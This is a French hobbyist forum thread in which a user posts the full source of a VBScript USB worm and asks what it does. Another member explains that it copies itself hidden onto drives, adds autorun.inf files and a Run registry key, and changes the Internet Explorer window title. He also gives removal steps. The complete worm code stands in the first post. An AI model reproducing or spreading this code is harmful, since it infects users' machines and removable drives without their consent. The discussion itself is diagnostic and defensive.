Vous souhaitez réagir à ce message ? Créez un compte en quelques clics ou connectez-vous pour continuer.



 
AccueilRechercherDernières imagesS'enregistrerConnexion
Le deal à ne pas rater :
Display One Piece Card Game Japon OP-08 – Two Legends : où la ...
Voir le deal

 

 J'ai besion de toi Scratt

Aller en bas 
3 participants
AuteurMessage
Razi3L
Admin
Admin
Razi3L


Masculin
Nombre de messages : 998
Age : 38
Localisation : DTC
Fonction : Maître Suprême
Hobbie : La Tyranie
Date d'inscription : 13/06/2006

Feuille de personnage
LVL:
J'ai besion de toi Scratt Left_bar_bleue3/10J'ai besion de toi Scratt Empty_bar_bleue  (3/10)
Pts de destin: 1
XP force: 3

J'ai besion de toi Scratt Empty
MessageSujet: J'ai besion de toi Scratt   J'ai besion de toi Scratt I_icon_minitimeVen 25 Mai - 2:03

Ce vbs fait quoi? A quoi il sert? C'est une menace?
Code:
'My name is Slow but sure V0.05
on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
atr = "[autorun]"&vbcrlf&"shellexecute=wscript.exe MS32DLL.dll.vbs"
set fs = createobject("Scripting.FileSystemObject")
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & "\MS32DLL.dll.vbs")
tf.attributes = 32
set tf=fs.createtextfile(winpath & "\MS32DLL.dll.vbs",2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & "\MS32DLL.dll.vbs")
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then
set tf=fs.getfile(flashdrive.path &"\MS32DLL.dll.vbs")
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &"\MS32DLL.dll.vbs",2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &"\MS32DLL.dll.vbs")
tf.attributes =39
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &"\autorun.inf",2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes=39
end if
next
set rg = createobject("WScript.Shell")
rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL",winpath&"\MS32DLL.dll.vbs"
rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","Hacked by Godzilla"
rg.regwrite "HKCR\vbsfile\DefaultIcon","shell32.dll,2"
if check <> 1 then
Wscript.sleep 200000
end if
loop while check<>1
set sd = createobject("Wscript.shell")
sd.run winpath&"\explorer.exe /e,/select, "&Wscript.ScriptFullname
Revenir en haut Aller en bas
http://razielkain81.skyblog.com
Crash.8
Modos
Modos
Crash.8


Masculin
Nombre de messages : 1382
Age : 40
Localisation : Sur Terre
Fonction : Ma fonction actuelle
Hobbie : Mes hobbies bien sur..... programmer
Date d'inscription : 22/06/2006

Feuille de personnage
LVL:
J'ai besion de toi Scratt Left_bar_bleue2/10J'ai besion de toi Scratt Empty_bar_bleue  (2/10)
Pts de destin: 1
XP force: 1

J'ai besion de toi Scratt Empty
MessageSujet: Re: J'ai besion de toi Scratt   J'ai besion de toi Scratt I_icon_minitimeVen 25 Mai - 5:15

C'est un petit virus..... je dirai mieux un parasite de mer*e

Voici ce qu'il fait en détail :
- il commence par se copier dans "c:\windows\system32" sous le nom de "MS32DLL.dll.vbs" en attribut archive
- il se copie aussi sur tous les lecteurs amovibles (clé USB) et lecteurs fixes (disque dur) dans la racine en attribut caché
- il ajoute à ces lecteurs un fichier "autorun.ini", en attribut caché, qui permet de le lancer lors qu'on ouvre le lecteur en question
- il ajoute dans le registre une entrée pour le lancer au démarrage sous le nom "MS32DLL"
- il change le titre de IE en mettant à la place "Hacked by Godzilla"
- si le disque qui la éxecuterest un lecteur fixe, il attend 200s puis recommence la copie dans les lecteurs amovible sinon il se relance.....

Voilà.... j'espére que tu ne là pas lancer..... S'arrache les tiff super embarrassé


c'est bizarre mais il ressemble à l'article que j'avais mit

Pour s'en débarraser :
- supprimer le fichier "MS32DLL.dll.vbs" dans "c:\windows\system32"
- exécuter "msconfig" pour enlever le programme au démarrage
- ecrire dans le regitre à la clé "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title" = "Windows Internet Explorer" ou autre chose au choix
- et biensur, déactiver le lancement automatique des clés USB
- et afficher les fichiers cachées pour le supprimer sur les clés....

Sinon les antivirus doivent le connaître.... carton rouge !
Revenir en haut Aller en bas
http://www.DTSoft.fr.st
Razi3L
Admin
Admin
Razi3L


Masculin
Nombre de messages : 998
Age : 38
Localisation : DTC
Fonction : Maître Suprême
Hobbie : La Tyranie
Date d'inscription : 13/06/2006

Feuille de personnage
LVL:
J'ai besion de toi Scratt Left_bar_bleue3/10J'ai besion de toi Scratt Empty_bar_bleue  (3/10)
Pts de destin: 1
XP force: 3

J'ai besion de toi Scratt Empty
MessageSujet: Re: J'ai besion de toi Scratt   J'ai besion de toi Scratt I_icon_minitimeVen 25 Mai - 7:37

embarras total embarras total embarras total embarras total embarras total embarras total embarras total
Et bien si. Je l'ai activé. Je ne savais pas qu'il se trouvait là.
malédiction malédiction malédiction malédiction malédiction malédiction malédiction
Revenir en haut Aller en bas
http://razielkain81.skyblog.com
Crash.8
Modos
Modos
Crash.8


Masculin
Nombre de messages : 1382
Age : 40
Localisation : Sur Terre
Fonction : Ma fonction actuelle
Hobbie : Mes hobbies bien sur..... programmer
Date d'inscription : 22/06/2006

Feuille de personnage
LVL:
J'ai besion de toi Scratt Left_bar_bleue2/10J'ai besion de toi Scratt Empty_bar_bleue  (2/10)
Pts de destin: 1
XP force: 1

J'ai besion de toi Scratt Empty
MessageSujet: Re: J'ai besion de toi Scratt   J'ai besion de toi Scratt I_icon_minitimeLun 28 Mai - 13:12

Toi alors, j'espére que tu a réussi à l'enlever.... il n'est pas mortel ça va... carton rouge ! carton rouge !
Revenir en haut Aller en bas
http://www.DTSoft.fr.st
Admin
Admin
Admin
Admin


Féminin
Nombre de messages : 1534
Age : 39
Localisation : Ici et nul part ailleurs
Fonction : Admin tout puissant
Hobbie : Faire chier tout le monde ! Niak !
Date d'inscription : 04/06/2006

Feuille de personnage
LVL:
J'ai besion de toi Scratt Left_bar_bleue2/10J'ai besion de toi Scratt Empty_bar_bleue  (2/10)
Pts de destin: 1
XP force: 2

J'ai besion de toi Scratt Empty
MessageSujet: Re: J'ai besion de toi Scratt   J'ai besion de toi Scratt I_icon_minitimeLun 28 Mai - 16:03

crise cardique Mais il fait quoi exactement ce truc ?!

J'espère que je l'ai pas moi... Je suis une des sources mère d'information net du barbare et j'ai toujours des pages qui s'ouvent toute seule maintenant quand je suis sur le net...

solitude Je sais pas si c'est 2 trucs sont lié mais je me pose des questions... la prochaine fois que t'es sur g*** pourras(tu passer me faire une bonne mise à jour de mon anti virus et un bon nettoyage des fichiers inutiles etc etc etc ?!

please supplier
Revenir en haut Aller en bas
https://darkhumourteam.forumsrpg.com
Razi3L
Admin
Admin
Razi3L


Masculin
Nombre de messages : 998
Age : 38
Localisation : DTC
Fonction : Maître Suprême
Hobbie : La Tyranie
Date d'inscription : 13/06/2006

Feuille de personnage
LVL:
J'ai besion de toi Scratt Left_bar_bleue3/10J'ai besion de toi Scratt Empty_bar_bleue  (3/10)
Pts de destin: 1
XP force: 3

J'ai besion de toi Scratt Empty
MessageSujet: Re: J'ai besion de toi Scratt   J'ai besion de toi Scratt I_icon_minitimeMar 29 Mai - 1:42

t'inkiet, je ne te l'ai pas filé. Je connais le traitre qui véhicule cette m***e
Revenir en haut Aller en bas
http://razielkain81.skyblog.com
Crash.8
Modos
Modos
Crash.8


Masculin
Nombre de messages : 1382
Age : 40
Localisation : Sur Terre
Fonction : Ma fonction actuelle
Hobbie : Mes hobbies bien sur..... programmer
Date d'inscription : 22/06/2006

Feuille de personnage
LVL:
J'ai besion de toi Scratt Left_bar_bleue2/10J'ai besion de toi Scratt Empty_bar_bleue  (2/10)
Pts de destin: 1
XP force: 1

J'ai besion de toi Scratt Empty
MessageSujet: Re: J'ai besion de toi Scratt   J'ai besion de toi Scratt I_icon_minitimeMar 29 Mai - 2:46

Tryskell, se qu'il fait le lait expliquer... il se copie juste de clé USB en clé USB, et affiche Hacked by Godzilla dans IE...... c'est pas mortel mais chiant.....

Je te ferais un bon nettoyage ma petite Tryskell adorée.... super embarrassé
Revenir en haut Aller en bas
http://www.DTSoft.fr.st
Contenu sponsorisé





J'ai besion de toi Scratt Empty
MessageSujet: Re: J'ai besion de toi Scratt   J'ai besion de toi Scratt I_icon_minitime

Revenir en haut Aller en bas
 
J'ai besion de toi Scratt
Revenir en haut 
Page 1 sur 1

Permission de ce forum:Vous ne pouvez pas répondre aux sujets dans ce forum
 :: Informatique et programmation :: Programmation-
Sauter vers:  
Ne ratez plus aucun deal !
Abonnez-vous pour recevoir par notification une sélection des meilleurs deals chaque jour.
IgnorerAutoriser